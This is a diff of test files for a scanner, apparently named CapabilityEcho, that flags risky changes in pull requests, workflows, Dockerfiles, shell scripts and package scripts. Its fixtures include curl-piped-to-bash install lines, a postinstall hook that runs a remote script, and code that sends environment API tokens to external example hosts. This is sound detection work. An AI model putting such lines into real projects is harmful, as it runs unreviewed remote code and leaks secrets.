+ assert.equal(findings[0].severity, 'high'); +}); + +test('workflow detector flags pull_request_target triggers', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 3, + content: ' pull_request_target:' + } + ]); + + assert.equal(findings.length, 1); + assert.equal(findings[0].kind, 'workflow_pull_request_target'); + assert.equal(findings[0].severity, 'high'); + assert.match(findings[0].recommendation, /pull_request/); +}); + +test('workflow detector flags pull_request_target workflows that check out PR head code', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 3, + content: ' pull_request_target:' + }, + { + file: '.github/workflows/agent.yml', + line: 21, + content: ' ref: ${{ github.event.pull_request.head.sha }}' + } + ]); + + const checkoutFinding = findings.find((finding) => finding.kind === 'workflow_pr_head_checkout_on_target'); + assert.ok(checkoutFinding); + assert.equal(checkoutFinding.severity, 'high'); + assert.equal(checkoutFinding.line, 21); + assert.match(checkoutFinding.recommendation, /pull_request/); +}); + +test('workflow detector does not flag PR head checkout without pull_request_target', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 21, + content: ' ref: ${{ github.event.pull_request.head.sha }}' + } + ]); + + assert.equal(findings.length, 0); +}); + +test('workflow detector flags self-hosted runners', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 12, + content: ' runs-on: [self-hosted, linux]' + } + ]); + + assert.equal(findings.length, 1); + assert.equal(findings[0].kind, 'workflow_self_hosted_runner'); + assert.equal(findings[0].severity, 'high'); + assert.match(findings[0].message, /self-hosted/); +}); + +test('workflow detector flags multiline self-hosted runner labels', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 12, + content: ' runs-on:' + }, + { + file: '.github/workflows/agent.yml', + line: 13, + content: ' - self-hosted' + }, + { + file: '.github/workflows/agent.yml', + line: 14, + content: ' - linux' + } + ]); + + assert.equal(findings.length, 1); + assert.equal(findings[0].kind, 'workflow_self_hosted_runner'); + assert.equal(findings[0].line, 13); +}); + +test('workflow detector flags mutable third-party action refs', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 18, + content: ' - uses: third-party/deploy-agent@main' + } + ]); + + assert.equal(findings.length, 1); + assert.equal(findings[0].kind, 'workflow_mutable_action_ref'); + assert.equal(findings[0].surface, 'workflow'); + assert.equal(findings[0].severity, 'medium'); + assert.match(findings[0].recommendation, /commit SHA/); +}); + +test('workflow detector ignores local and commit-pinned action refs', () => { + const findings = detectWorkflowPermissions([ + { + file: '.github/workflows/agent.yml', + line: 18, + content: ' - uses: ./.github/actions/build' + }, + { + file: '.github/workflows/agent.yml', + line: 19, + content: ' - uses: third-party/deploy-agent@0123456789abcdef0123456789abcdef01234567' + } + ]); + + assert.equal(findings.length, 0); +}); + +test('report summarizes mutable workflow action refs with a human label', () => { + const report = createReport( + [ + { + kind: 'source_secret_exfil_pattern', + surface: 'source', + severity: 'high', + file: 'src/api/sync.ts', + line: 8, + subject: 'Source secret exfiltration pattern', + message: 'Added source code sends environment-secret-shaped data to an external endpoint.', + recommendation: 'Do not send env secrets to external services unless the endpoint and payload are explicitly required.' + }, + { + kind: 'workflow_mutable_action_ref', + surface: 'workflow', + severity: 'medium', + file: '.github/workflows/agent.yml', + line: 18, + subject: 'GitHub Actions mutable action reference', + message: 'Workflow uses a mutable third-party action reference.', + recommendation: 'Pin third-party actions to a reviewed commit SHA before merge.' + }, + { + kind: 'workflow_pr_head_checkout_on_target', + surface: 'workflow', + severity: 'high', + file: '.github/workflows/agent.yml', + line: 21, + subject: 'GitHub Actions PR-head checkout under pull_request_target', + message: 'Workflow checks out pull request head code in a pull_request_target workflow.', + recommendation: 'Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target.' + }, + { + kind: 'workflow_secrets_inherit', + surface: 'workflow', + severity: 'high', + file: '.github/workflows/deploy.yml', + line: 22, + subject: 'GitHub Actions inherited secrets', + message: 'Workflow passes all caller secrets to a reusable workflow.', + recommendation: 'Pass only explicit secrets required by the reusable workflow.' + } + ], + { + changedFileCount: 1, + scannedSurfaces: ['workflow'] + } + ); + + assert.deepEqual(report.capabilitySummary, [ + 'source secret exfiltration patterns', + 'GitHub Actions mutable action references', + 'GitHub Actions PR-head checkout under pull_request_target', + 'GitHub Actions inherited secrets' + ]); +}); diff --git a/test/dockerfile-capability.test.mjs b/test/dockerfile-capability.test.mjs new file mode 100644 index 0000000..ab6bf9e --- /dev/null +++ b/test/dockerfile-capability.test.mjs @@ -0,0 +1,45 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { detectDockerfileCapability } from '../dist/detectors/dockerfile-capability.js'; +import { isScannable, surfaceForPath } from '../dist/paths.js'; + +function line(file, content, lineNumber = 1) { + return { file, line: lineNumber, content }; +} + +test('dockerfile: Dockerfiles are scannable container surfaces', () => { + assert.equal(isScannable('Dockerfile'), true); + assert.equal(surfaceForPath('Dockerfile'), 'container'); + assert.equal(surfaceForPath('docker/Dockerfile.release'), 'container'); +}); + +test('dockerfile: remote ADD is high capability drift', () => { + const findings = detectDockerfileCapability([ + line('Dockerfile', 'ADD https://install.example.com/agent /usr/local/bin/agent') + ]); + + const finding = findings.find((item) => item.kind === 'dockerfile_remote_add'); + assert.ok(finding); + assert.equal(finding.surface, 'container'); + assert.equal(finding.severity, 'high'); +}); + +test('dockerfile: curl piped to shell is critical capability drift', () => { + const findings = detectDockerfileCapability([ + line('docker/Dockerfile.release', 'RUN curl https://install.example.com/setup.sh | bash') + ]); + + const finding = findings.find((item) => item.kind === 'dockerfile_pipe_to_shell'); + assert.ok(finding); + assert.equal(finding.surface, 'container'); + assert.equal(finding.severity, 'critical'); +}); + +test('dockerfile: comments and non-Dockerfiles are ignored', () => { + const findings = detectDockerfileCapability([ + line('Dockerfile', '# RUN curl https://install.example.com/setup.sh | bash'), + line('scripts/build.sh', 'ADD https://install.example.com/agent /usr/local/bin/agent') + ]); + + assert.equal(findings.length, 0); +}); diff --git a/test/git-diff.test.mjs b/test/git-diff.test.mjs index ea87b33..25b5155 100644 --- a/test/git-diff.test.mjs +++ b/test/git-diff.test.mjs @@ -87,6 +87,522 @@ test('CLI diffs capability drift between git refs without agent config changes', } }); +test('CLI ignores AI-agent config changes while still scanning executable surfaces', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-agent-config-')); + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'agent-config-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: CI', + '', + 'permissions:', + ' contents: read', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await writeFile(join(repo, '.mcp.json'), '{"servers":{}}\n', 'utf8'); + await mkdir(join(repo, '.claude'), { recursive: true }); + await writeFile(join(repo, '.claude/settings.json'), '{"permissions":[]}\n', 'utf8'); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'agent-config-fixture', + private: true, + scripts: { + test: 'vitest', + postinstall: 'curl https://install.example.com/setup.sh | bash' + } + }, + workflow: [ + 'name: CI', + '', + 'permissions:', + ' contents: write', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test', + ' - run: curl https://example.com/bootstrap.sh' + ].join('\n'), + source: "export async function sync() {\n await fetch('https://api.example.com/v1/events');\n}\n" + }); + await writeFile( + join(repo, '.mcp.json'), + '{"servers":{"local":{"command":"node","args":["tool.js"]}}}\n', + 'utf8' + ); + await writeFile(join(repo, '.claude/settings.json'), '{"permissions":["Bash(*)"]}\n', 'utf8'); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'add executable capability drift and agent config drift'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + const { stdout } = await execFileAsync( + process.execPath, + ['dist/index.js', 'diff', '--repo', repo, '--base', base, '--head', head, '--format', 'json'], + { cwd: packageRoot } + ); + const report = JSON.parse(stdout); + + assert.equal(report.changedFileCount, 3); + assert.deepEqual(new Set(report.scannedSurfaces), new Set(['source', 'package', 'workflow'])); + assert.ok(report.excludedSurfaces.includes('AI-agent config')); + assert.ok(report.findings.some((finding) => finding.surface === 'source')); + assert.ok(report.findings.some((finding) => finding.surface === 'package')); + assert.ok(report.findings.some((finding) => finding.surface === 'workflow')); + assert.ok(report.findings.every((finding) => !finding.file.includes('.mcp') && !finding.file.includes('.claude'))); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('CLI detects package capability drift from compared git refs, not the current checkout', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-package-ref-')); + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'package-ref-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: CI', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await mkdir(join(repo, 'tools/agent'), { recursive: true }); + await writeFile( + join(repo, 'tools/agent/package.json'), + `${JSON.stringify( + { + name: 'agent-tooling', + private: true, + scripts: { + postinstall: 'curl https://install.example.com/setup.sh | bash' + }, + dependencies: { + puppeteer: '^22.0.0' + } + }, + null, + 2 + )}\n`, + 'utf8' + ); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'add agent package capability drift'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + await execGit(repo, 'checkout', base); + + const { stdout } = await execFileAsync( + process.execPath, + ['dist/index.js', 'diff', '--repo', repo, '--base', base, '--head', head, '--format', 'json'], + { cwd: packageRoot } + ); + const report = JSON.parse(stdout); + + assert.equal(report.changedFileCount, 1); + assert.deepEqual(report.scannedSurfaces, ['package']); + assert.ok(report.findings.some((finding) => finding.kind === 'lifecycle_script_added')); + assert.ok(report.findings.some((finding) => finding.kind === 'high_capability_dep_added')); + assert.ok(report.findings.every((finding) => finding.file === 'tools/agent/package.json')); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('CLI flags PR-head checkout added to an existing pull_request_target workflow', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-workflow-context-')); + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'workflow-context-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: PR Audit', + '', + 'on:', + ' pull_request_target:', + '', + 'jobs:', + ' audit:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - uses: actions/checkout@v6' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base pull request target workflow'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'workflow-context-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: PR Audit', + '', + 'on:', + ' pull_request_target:', + '', + 'jobs:', + ' audit:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - uses: actions/checkout@v6', + ' with:', + ' ref: ${{ github.event.pull_request.head.sha }}' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'checkout pr head under target workflow'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + const { stdout } = await execFileAsync( + process.execPath, + ['dist/index.js', 'diff', '--repo', repo, '--base', base, '--head', head, '--format', 'json'], + { cwd: packageRoot } + ); + const report = JSON.parse(stdout); + + const finding = report.findings.find((item) => item.kind === 'workflow_pr_head_checkout_on_target'); + assert.ok(finding); + assert.equal(finding.file, '.github/workflows/ci.yml'); + assert.equal(finding.line, 12); + assert.equal(finding.severity, 'high'); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('CLI flags external requests using existing workflow secret env vars', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-workflow-secret-env-')); + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'workflow-secret-env-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: Deploy', + '', + 'jobs:', + ' deploy:', + ' runs-on: ubuntu-latest', + ' env:', + ' API_TOKEN: ${{ secrets.API_TOKEN }}', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base workflow secret env'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'workflow-secret-env-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: Deploy', + '', + 'jobs:', + ' deploy:', + ' runs-on: ubuntu-latest', + ' env:', + ' API_TOKEN: ${{ secrets.API_TOKEN }}', + ' steps:', + ' - run: npm test', + ' - run: curl https://example.com/hook -H "Authorization: Bearer $API_TOKEN"' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'add secret env outbound request'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + const { stdout } = await execFileAsync( + process.execPath, + ['dist/index.js', 'diff', '--repo', repo, '--base', base, '--head', head, '--format', 'json'], + { cwd: packageRoot } + ); + const report = JSON.parse(stdout); + + const finding = report.findings.find((item) => item.kind === 'workflow_secret_exfil_pattern'); + assert.ok(finding); + assert.equal(finding.file, '.github/workflows/ci.yml'); + assert.equal(finding.line, 10); + assert.equal(finding.severity, 'high'); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('CLI flags external fetches using existing source env secret variables', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-source-secret-var-')); + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'source-secret-var-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: CI', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: [ + 'const apiToken = process.env.API_TOKEN;', + '', + 'export async function sync() {', + ' return "ok";', + '}' + ].join('\n') + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base source env secret'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'source-secret-var-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: CI', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: [ + 'const apiToken = process.env.API_TOKEN;', + '', + 'export async function sync() {', + ' await fetch("https://collector.example.com/events", { headers: { Authorization: `Bearer ${apiToken}` } });', + ' return "ok";', + '}' + ].join('\n') + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'send env secret variable externally'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + const { stdout } = await execFileAsync( + process.execPath, + ['dist/index.js', 'diff', '--repo', repo, '--base', base, '--head', head, '--format', 'json'], + { cwd: packageRoot } + ); + const report = JSON.parse(stdout); + + const finding = report.findings.find((item) => item.kind === 'source_secret_exfil_pattern'); + assert.ok(finding); + assert.equal(finding.file, 'src/client.ts'); + assert.equal(finding.line, 4); + assert.equal(finding.severity, 'high'); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('CLI flags Python external requests using existing source env secret variables', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-python-secret-var-')); + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'python-secret-var-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: CI', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await writeFile( + join(repo, 'src/agent.py'), + [ + 'import os', + 'import requests', + 'api_token = os.getenv("API_TOKEN")', + '', + 'def sync():', + ' return "ok"' + ].join('\n'), + 'utf8' + ); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base python env secret'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'python-secret-var-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: CI', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await writeFile( + join(repo, 'src/agent.py'), + [ + 'import os', + 'import requests', + 'api_token = os.getenv("API_TOKEN")', + '', + 'def sync():', + ' requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + api_token})', + ' return "ok"' + ].join('\n'), + 'utf8' + ); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'send python env secret variable externally'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + const { stdout } = await execFileAsync( + process.execPath, + ['dist/index.js', 'diff', '--repo', repo, '--base', base, '--head', head, '--format', 'json'], + { cwd: packageRoot } + ); + const report = JSON.parse(stdout); + + const finding = report.findings.find((item) => item.kind === 'source_secret_exfil_pattern'); + assert.ok(finding); + assert.equal(finding.file, 'src/agent.py'); + assert.equal(finding.line, 6); + assert.equal(finding.severity, 'high'); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('git diff exposes missing refs as setup errors', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-git-setup-error-')); + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'git-setup-error-fixture', + private: true, + scripts: { test: 'vitest' } + }, + workflow: [ + 'name: CI', + '', + 'permissions:', + ' contents: read', + '', + 'jobs:', + ' test:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: npm test' + ].join('\n'), + source: "export function hello() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + + const gitDiff = await import('../dist/git-diff.js'); + assert.equal(typeof gitDiff.GitDiffSetupError, 'function'); + + await assert.rejects( + () => gitDiff.collectGitDiff(repo, 'missing-base-ref', 'missing-head-ref'), + (error) => + error instanceof gitDiff.GitDiffSetupError && + /base 'missing-base-ref'/.test(error.message) && + /head 'missing-head-ref'/.test(error.message) + ); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + async function writeProject(repo, { packageJson, workflow, source }) { await mkdir(join(repo, 'src'), { recursive: true }); await mkdir(join(repo, '.github', 'workflows'), { recursive: true }); diff --git a/test/py-capability.test.mjs b/test/py-capability.test.mjs index 46807cd..404195b 100644 --- a/test/py-capability.test.mjs +++ b/test/py-capability.test.mjs @@ -13,6 +13,21 @@ test('py: requests.get with literal URL flags external fetch', () => { assert.ok(findings.find((f) => f.kind === 'external_fetch_added')); }); +test('py: external request with env secret flags source secret exfiltration', () => { + const findings = detectPyCapability([ + line( + 'agent.py', + 'requests.post("https://collector.example.com/events", headers={"Authorization": "Bearer " + os.environ["API_TOKEN"]})' + ) + ]); + + assert.ok(findings.find((f) => f.kind === 'external_fetch_added')); + const f = findings.find((finding) => finding.kind === 'source_secret_exfil_pattern'); + assert.ok(f); + assert.equal(f.severity, 'high'); + assert.equal(f.surface, 'source'); +}); + test('py: requests.get without literal URL does not over-fire', () => { const findings = detectPyCapability([ line('agent.py', 'resp = requests.get(url, headers=h)') diff --git a/test/shell-capability.test.mjs b/test/shell-capability.test.mjs new file mode 100644 index 0000000..74e0cf2 --- /dev/null +++ b/test/shell-capability.test.mjs @@ -0,0 +1,43 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { detectShellCapability } from '../dist/detectors/shell-capability.js'; +import { isScannable } from '../dist/paths.js'; + +function line(file, content, lineNumber = 1) { + return { file, line: lineNumber, content }; +} + +test('shell: curl piped to bash is critical capability drift', () => { + const findings = detectShellCapability([ + line('scripts/bootstrap.sh', 'curl https://install.example.com/agent.sh | bash') + ]); + + const finding = findings.find((item) => item.kind === 'shell_pipe_to_shell'); + assert.ok(finding); + assert.equal(finding.severity, 'critical'); + assert.equal(finding.surface, 'source'); +}); + +test('shell: script files are scannable source surfaces', () => { + assert.equal(isScannable('scripts/bootstrap.sh'), true); + assert.equal(isScannable('tools/install.ps1'), true); +}); + +test('shell: literal external download is medium capability drift', () => { + const findings = detectShellCapability([ + line('scripts/fetch-model.sh', 'wget https://models.example.com/latest.bin -O model.bin') + ]); + + const finding = findings.find((item) => item.kind === 'shell_external_download'); + assert.ok(finding); + assert.equal(finding.severity, 'medium'); +}); + +test('shell: comment lines and non-shell files are ignored', () => { + const findings = detectShellCapability([ + line('scripts/bootstrap.sh', '# curl https://install.example.com/agent.sh | bash'), + line('src/client.ts', 'const cmd = "curl https://example.com"') + ]); + + assert.equal(findings.length, 0); +}); diff --git a/test/workflow.test.mjs b/test/workflow.test.mjs index 24d46e8..00054a3 100644 --- a/test/workflow.test.mjs +++ b/test/workflow.test.mjs @@ -14,7 +14,15 @@ const packageRoot = join(testDir, '..'); test('action.yml exposes capability drift outputs', async () => { const action = await readFile(join(packageRoot, 'action.yml'), 'utf8'); assert.match(action, /name: CapabilityEcho/); + assert.match(action, /has-findings/); assert.match(action, /changed-file-count/); + assert.match(action, /surface-summary/); + assert.match(action, /severity-summary/); + assert.match(action, /capability-summary/); + assert.match(action, /top-recommendations/); + assert.match(action, /adoption-evidence/); + assert.match(action, /report-markdown/); + assert.match(action, /report-json/); assert.match(action, /fail-on/); }); @@ -101,11 +109,47 @@ test('JavaScript action entrypoint emits outputs, summary, and GitHub annotation const outputs = await readFile(outputPath, 'utf8'); const summary = await readFile(summaryPath, 'utf8'); + const parsedOutputs = parseGithubOutputs(outputs); assert.match(outputs, /^rating=critical$/m); + assert.match(outputs, /^has-findings=true$/m); assert.match(outputs, /^finding-count=4$/m); assert.match(outputs, /^changed-file-count=2$/m); + assert.match(outputs, /^surface-summary=\{"source":1,"package":3,"workflow":0,"container":0\}$/m); + assert.match(outputs, /^severity-summary=\{"critical":1,"high":1,"medium":2,"low":0\}$/m); + assert.match( + outputs, + /^capability-summary=\["external network fetch calls","npm lifecycle scripts","pipe-to-shell install scripts","network or publish npm scripts"\]$/m + ); + assert.match( + outputs, + /^top-recommendations=\["Replace remote pipe-to-shell patterns with pinned, reviewable install steps.","Review lifecycle scripts carefully; they run automatically on install.","Review the endpoint, data sent, and whether the request belongs in this change\."\]$/m + ); + assert.match(outputs, /^adoption-evidence=/m); + assert.equal(parsedOutputs.get('report-markdown'), summary); + assert.match(parsedOutputs.get('report-markdown') ?? '', /# CapabilityEcho capability drift: CRITICAL/); + const adoptionEvidence = JSON.parse(parsedOutputs.get('adoption-evidence') ?? '{}'); + assert.deepEqual(Object.keys(adoptionEvidence), [ + 'rating', + 'hasFindings', + 'findingCount', + 'changedFileCount', + 'surfaceSummary', + 'severitySummary', + 'capabilitySummary', + 'topRecommendations' + ]); + assert.equal(adoptionEvidence.rating, 'critical'); + assert.equal(adoptionEvidence.hasFindings, true); + assert.deepEqual(adoptionEvidence.surfaceSummary, { source: 1, package: 3, workflow: 0, container: 0 }); + assert.equal('findings' in adoptionEvidence, false); + const jsonReport = JSON.parse(parsedOutputs.get('report-json') ?? '{}'); + assert.equal(jsonReport.rating, 'critical'); + assert.equal(jsonReport.findingCount, 4); + assert.deepEqual(jsonReport.surfaceSummary, { source: 1, package: 3, workflow: 0, container: 0 }); + assert.ok(jsonReport.findings.some((finding) => finding.kind === 'external_fetch_added')); assert.match(summary, /# CapabilityEcho capability drift: CRITICAL/); + assert.match(summary, /## Top recommendations/); assert.match(stdout, /::warning file=src\/client\.ts,line=2/); assert.match(stdout, /::warning file=package\.json,line=/); } finally { @@ -113,6 +157,259 @@ test('JavaScript action entrypoint emits outputs, summary, and GitHub annotation } }); +test('JavaScript action emits has-findings false for clean changed diffs', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-clean-action-')); + const outputPath = join(repo, 'github-output.txt'); + const summaryPath = join(repo, 'github-summary.md'); + + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'clean-action-fixture', + private: true, + scripts: { test: 'vitest' } + }, + source: "export function label() {\n return 'base';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'clean-action-fixture', + private: true, + scripts: { test: 'vitest' } + }, + source: "export function label() {\n return 'renamed';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'safe source rename'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await execFileAsync(process.execPath, ['dist/action.js'], { + cwd: packageRoot, + env: { + ...process.env, + INPUT_REPO: repo, + INPUT_BASE: base, + INPUT_HEAD: head, + INPUT_FAIL_ON: 'none', + GITHUB_OUTPUT: outputPath, + GITHUB_STEP_SUMMARY: summaryPath + } + }); + + const outputs = await readFile(outputPath, 'utf8'); + const summary = await readFile(summaryPath, 'utf8'); + + assert.match(outputs, /^rating=none$/m); + assert.match(outputs, /^has-findings=false$/m); + assert.match(outputs, /^finding-count=0$/m); + assert.match(outputs, /^changed-file-count=1$/m); + assert.match(outputs, /^capability-summary=\[\]$/m); + assert.match(summary, /No code or workflow capability drift findings\./); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('JavaScript action derives base and head from pull_request event payload', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-pr-event-')); + const outputPath = join(repo, 'github-output.txt'); + const summaryPath = join(repo, 'github-summary.md'); + const eventPath = join(repo, 'event.json'); + + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'event-fixture', + private: true, + scripts: { test: 'vitest' } + }, + source: "export function ok() {\n return 'ok';\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'base app'); + const base = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeProject(repo, { + packageJson: { + name: 'event-fixture', + private: true, + scripts: { + test: 'vitest', + postinstall: 'curl https://install.example.com/setup.sh | bash' + } + }, + source: "export async function sync() {\n await fetch('https://api.example.com/v1/events');\n}\n" + }); + await execGit(repo, 'add', '.'); + await execGit(repo, 'commit', '-m', 'add capability drift'); + const head = await gitStdout(repo, 'rev-parse', 'HEAD'); + + await writeFile( + eventPath, + `${JSON.stringify({ + pull_request: { + base: { sha: base }, + head: { sha: head } + } + })}\n`, + 'utf8' + ); + + const { stdout } = await execFileAsync(process.execPath, ['dist/action.js'], { + cwd: packageRoot, + env: { + ...process.env, + INPUT_REPO: repo, + INPUT_FAIL_ON: 'none', + GITHUB_EVENT_PATH: eventPath, + GITHUB_OUTPUT: outputPath, + GITHUB_STEP_SUMMARY: summaryPath + } + }); + + const outputs = await readFile(outputPath, 'utf8'); + const summary = await readFile(summaryPath, 'utf8'); + + assert.match(outputs, /^rating=critical$/m); + assert.match(outputs, /^finding-count=4$/m); + assert.match(outputs, /^changed-file-count=2$/m); + assert.match(summary, /# CapabilityEcho capability drift: CRITICAL/); + assert.match(stdout, /::warning file=src\/client\.ts,line=2/); + assert.doesNotMatch(stdout, /CapabilityEcho needs base and head refs/); + } finally { + await rm(repo, { recursive: true, force: true }); + } +}); + +test('JavaScript action normalizes fail-on input before enforcing threshold', async () => { + const repo = await mkdtemp(join(tmpdir(), 'capabilityecho-fail-on-')); + const outputPath = join(repo, 'github-output.txt'); + const summaryPath = join(repo, 'github-summary.md'); + + try { + await execGit(repo, 'init', '-b', 'main'); + await execGit(repo, 'config', 'user.name', 'CapabilityEcho Test'); + await execGit(repo, 'config', 'user.email', 'capabilityecho@example.invalid'); + + await writeProject(repo, { + packageJson: { + name: 'fail-on-fixture', + private: true, + scripts: { test: 'vitest' } + }, + source: "export function ok() {\n return 